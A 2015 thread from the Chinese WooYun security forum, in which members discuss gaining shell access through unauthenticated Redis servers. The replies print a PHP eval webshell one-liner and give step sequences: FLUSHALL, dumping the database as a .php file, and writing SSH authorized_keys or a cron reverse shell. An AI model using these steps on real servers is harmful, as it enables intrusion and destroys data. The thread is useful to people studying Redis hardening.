当前位置:WooYun(白帽子技术社区) >> linux运维安全 >> redis 似乎乌云主站和drops介绍的都不多 来吧 讨论下~

redis 似乎乌云主站和drops介绍的都不多 来吧 讨论下~

phith0n (我也不会难过 你不要小看我) | 2015-03-13 15:07

我先发点我收集和研究的,下面再来咯~
官网&文档:http://redis.io

  一些发布的资料和研究成果:
  Redis数据库安全手册 :http://www.freebuf.com/articles/system/60654.html
  Trying to hack Redis via HTTP requests :http://drops.wooyun.org/papers/3062
  利用redis写webshell :http://www.secpulse.com/archives/5357.html

分享到:
  1. 1#
    回复此人 感谢
    我是壮丁 (专业打酱油) | | 2015-03-13 16:03

    文件头部不好控制,还有就是在通过redis写shell的时候,有时候数据中有特殊字符,写入的shell如果位于这些数据后面,shell就失效了。最好就是写入的key尽量靠前一些,那个时候就算是有特殊字符,shell还是能用的。

  2. 2#
    回复此人 感谢
    Melody (欢迎搞基,妹子优先.丘丘2522736384) | 2015-03-13 15:11

  3. 3#
    回复此人 感谢
    寂寞的瘦子 (整天嘻嘻哈哈。) | 2015-03-13 15:12

    我们可以把每个nosql数据库都讨论一下,排排队~~

  4. 4#
    回复此人 感谢
    我是壮丁 (专业打酱油) | 2015-03-13 15:35

    你忽略了很重要的一点,运行redis的用户要对web目录有可写权限,需要web目录的绝对路径(猜测或者爆绝对路径),需要组合起来。你测试的文章的例子应该是root跑的redis。

    redis拿shell的成本太高,不好批量。

  5. 5#
    回复此人 感谢
    我是壮丁 (专业打酱油) | 2015-03-13 15:38

    然而,这里存在一个致命的问题,Redis对dump出来的数据设置的是”0600”权限,因此Apache不能读取。(作者是这么写的,元芳你怎么看?)

    http://drops.wooyun.org/papers/3062

    看来好多人都没有好好看过这篇文章

  6. 6#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-13 15:45

    @我是壮丁
    这个我还真考虑了。
    一般redis都是root运行的,配置文件里并没有设置用户的项目。如果出现未授权访问的漏洞,那很少权限会降下去。
    而且。。。我也没说要……批量呀。抓鸡只是开个玩笑。

  7. 7#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-13 15:45

    @我是壮丁 dump出来是0600,你试过了吗?

  8. 8#
    回复此人 感谢
    我是壮丁 (专业打酱油) | 2015-03-13 15:55

    @phith0n 写那个的时候当时应该是试过的(当时应该是在地权限下面的),配置文件里面是没有运行用户这个选项,就看用redis的人的意识了,图方便的就是root。

    很早就通过redis搞过了,只是不方便发出来,你懂的

  9. 9#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-13 15:58

    @我是壮丁
    嗯,我也就是提个思路,个人也认为比较鸡肋一些,如果导出的文件能控制头,放计划任务里弹个shell什么的也不错。可惜还是有待研究~

  10. 10#
    回复此人 感谢
    小川 (一个致力要将乌云变成搞笑论坛的男人) | 2015-03-13 16:30

    redis+phpinfo,路径真是个好东西

  11. 11#
    回复此人 感谢
    d3pT1 | 2015-03-13 16:52

    QQ图片20150313165308.png 这是不是传说的权限问题

  12. 12#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-13 16:54

    @d3pT1
    所有命令都在这了:http://redis.io/commands
    应该没server命令吧

  13. 13#
    回复此人 感谢
    TellYouThat | 2015-03-13 17:12

    是不是有什么被编辑掉了...

  14. 14#
    回复此人 感谢
    retanoj | 2015-03-13 17:52

    如果是root跑redis
    bgsave - flushall - 写authorized_keys - 再恢复数据

  15. 15#
    回复此人 感谢
    liyang (<script>alert("xss")</script>) | 2015-03-13 21:02

    apt-get 安装的redis貌似是默认外网可以访问的  源码安装的不会

  16. 16#
    回复此人 感谢
    Sct7p (.)V(.) (.)_(.) (.)*(.) (.)^(.) (|)(and 1=2)(|) (.)^(.) (.)*(.) (.)_(.) (.)V(.) | 2015-03-14 08:13

    redis 居然也能写shell.大牛们的思路真是奇葩.开始学nosql的时候那个导出功能居然这么用....

  17. 17#
    回复此人 感谢
    爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-03-14 08:56

    nice

  18. 18#
    回复此人 感谢
    爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-03-14 09:22

    @phith0n redis-cli连接是不是本地需要安装redis?

  19. 19#
    回复此人 感谢
    retanoj | 2015-03-14 09:27

    @爱上平顶山
    是的,不过装redis的时候redis-server和redis-cli会一起都装上了

  20. 20#
    回复此人 感谢
    retanoj | 2015-03-14 09:33

    @爱上平顶山 我好像是没看清问题乱答了一个。。
    那个。。亲测只有redis-cli是可以的

  21. 21#
    回复此人 感谢
    爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-03-14 10:08

    @retanoj 没事

  22. 22#
    回复此人 感谢
    我是壮丁 (专业打酱油) | 2015-03-15 11:35

    @phith0n 这个答复错了,dump出来的数据是运行redis的用户和用户组,权限应该是0644,drops那个是故意写成600的。。。。。

  23. 23#
    回复此人 感谢
    0c0c0f | 2015-03-15 18:59

    我都是root权限运行的导入的文件是这样的(不可执行)。@phith0n
    REDIS0006.hell<?php eval($_POST['cmd'];)?>?n;选.hack@hack:~/tools/sqli/sqlmap$ Xshell

  24. 24#
    回复此人 感谢
    0c0c0f | 2015-03-15 19:01

    REDIS0006.hell<?php eval($_POST[cmd];)?>?n;选.hack@hack:~/tools/sqli/sqlmap$ Xshell  改成这样了..

  25. 25#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-15 19:25

    @0c0c0f
    这是你的一句话?
    <?php eval($_POST['cmd'];)?>

  26. 26#
    回复此人 感谢
    retanoj | 2015-03-15 20:35

    @phith0n 都不知道该怎么吐槽这一句话了对吧

  27. 27#
    回复此人 感谢
    0c0c0f | 2015-03-15 21:07

    127.0.0.1:6379> get she11
    "<?php @eval($_POST['cmd']);?>"
    改过来了:)

  28. 28#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-15 21:13

    @retanoj
    现在浮躁的人太多了。。。一出问题就开始问,也不知道自己多思考一下为什么出问题,唉

  29. 29#
    回复此人 感谢
    DBA (零下37.5°C) | 2015-03-15 23:57

    @phith0n
    除了说的头部特殊字符(我倒是觉得这个分情况),还有就是数据量和路径。作为缓存,dump下来几百M是很正常的,php解析的时候会直接挂掉吧。

    再就是得先爆出web server的绝对路径。

  30. 30#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2015-03-16 00:19

    @DBA
    这个倒是简单呀。先bgsave出来一个备份,再FLUSHALL掉,改rdb文件为.php,导出shell,再改回来。
    或者,遇到狠得直接全flush掉,也不管备份不备份了。
    技术上应该是没问题的。法律上另说了。

  31. 31#
    回复此人 感谢
    iv4n | 2015-03-16 16:56

    赞,今天碰巧看了下,redis的设计应该是抛弃了安全,在cli能直接修改和生效配置真是醉了!
    像这种配置# Since Redis 2.6 by default slaves are read-only.  有什么用? 只会误导

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录